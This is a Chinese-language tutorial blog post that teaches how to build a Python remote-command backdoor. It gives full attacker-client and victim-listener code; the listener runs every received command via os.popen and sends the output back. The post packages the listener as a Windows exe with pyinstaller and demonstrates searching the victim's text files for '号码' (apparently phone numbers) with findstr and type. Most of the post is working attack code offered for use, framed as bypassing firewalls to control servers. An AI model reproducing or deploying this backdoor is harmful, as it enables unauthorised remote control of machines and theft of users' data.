前言
本篇文章讲解如何编写后门程序,并实践测试运行,通过后门程序查找文件。
后门基本概念
防火墙用于拦截用户从外部访问服务器。访问服务器的Telnet、FTP等服务只限允许的用户使用。防火墙并不会阻断用户从内部向外部的访问路径。虽然很难从外部侵入防火墙,但一旦成功,黑客就能轻松窃取敏感信息。后门技术用于绕过防火墙等安全设备,掌控服务器资源。安装于目标服务器的后门客户端会接收并运行来自后门服务器的命令,并将运行结果发送给后门服务器。
利用后门发动攻击时,最困难的是向目标系统安装后门客户端。通过网络直接上传文件并非易事,所以这种手段大多用于安全性较差的Web环境。
代码
后门攻击端
import socket
ip = "192.168.1.10" # 对方服务器ip地址
port = 5555 # 对方服务器的端口
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) # 链接对方使用tcp协议 对象建立
s.connect((ip, port)) # 连接
while True:
data = input("请输入命令:")
data = bytes(data, encoding="utf8")
s.send(data) # 发送数据给对方
data2 = s.recv(1024) # 接收返回的数据
print(str(data2, encoding="utf8"))
if data == b"q":
break
s.close()
后门受攻击端
import socket
import os
ip = "" # 空表示可连接所有主机
port = 5555 # 设置端口
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) # 对象s 使用基于tcp协议的网络套接字
s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) # 关闭后不需要保存状态可以立即开启
s.bind((ip, port)) # 对象s 开始绑定ip和端口
s.listen(10) # 启动监听状态,设置队列中等待连接服务器的最大请求数10
conn, addr = s.accept() # 当与别人建立连接 addr,conn 变量分别存对方ip和连接的对象
print(addr) # 显示对方地址
while True:
data = conn.recv(1024) # 接收对方字符串 #如果对方不发数据会卡住
print(data) # 打印对方发来的数据
if data == b"q":
break
data = str(data, encoding="utf8") # 将数据转换为字符串类型
f = os.popen(data) # 可以将命令的内容以读取的方式返回
data2 = f.read()
if data2 == "":
conn.send(b"finish")
else:
conn.send(bytes(data2, encoding="utf8")) # 发送命令运行结果
conn.close() # 断开连接
s.close() # 关闭套结字
创建Windows可执行文件
由于并不是所有被攻击对象都安装python环境,所以需要把python程序封装成可执行文件,详见->将Python代码封装成exe文件。
在桌面所在路径运行命令,则生成的文件就在桌面,运行下面代码,将受控端(受攻击端)封装。
pyinstaller -F D:\应用程序\Python\Python代码\学习练习\后门受控端.py
测试
攻击端IP:192.168.1.5
受攻击端IP:192.168.1.10
(1)将刚才封装完成的exe文件(dist文件夹中)复制到Windows7虚拟机(受攻击端)中,双击运行,然后在攻击机中运行攻击端代码,这里我是在pycharm中运行。连接成功后,在pycharm输入命令dir,就可看到受控端exe文件所在路径下的所有文件和路径了。其中


findstr "号码" *.txt
查找当前路径下的所有txt后缀名的文件中是否包含“号码”字符,也可以用如下命令指定查找的文件夹。
findstr -d:新建文件夹 "号码" *.txt
使用type命令打开文件,查看文件信息。
type 新建文件夹\t2.txt
关注微信公众号:黑客帮,获取更多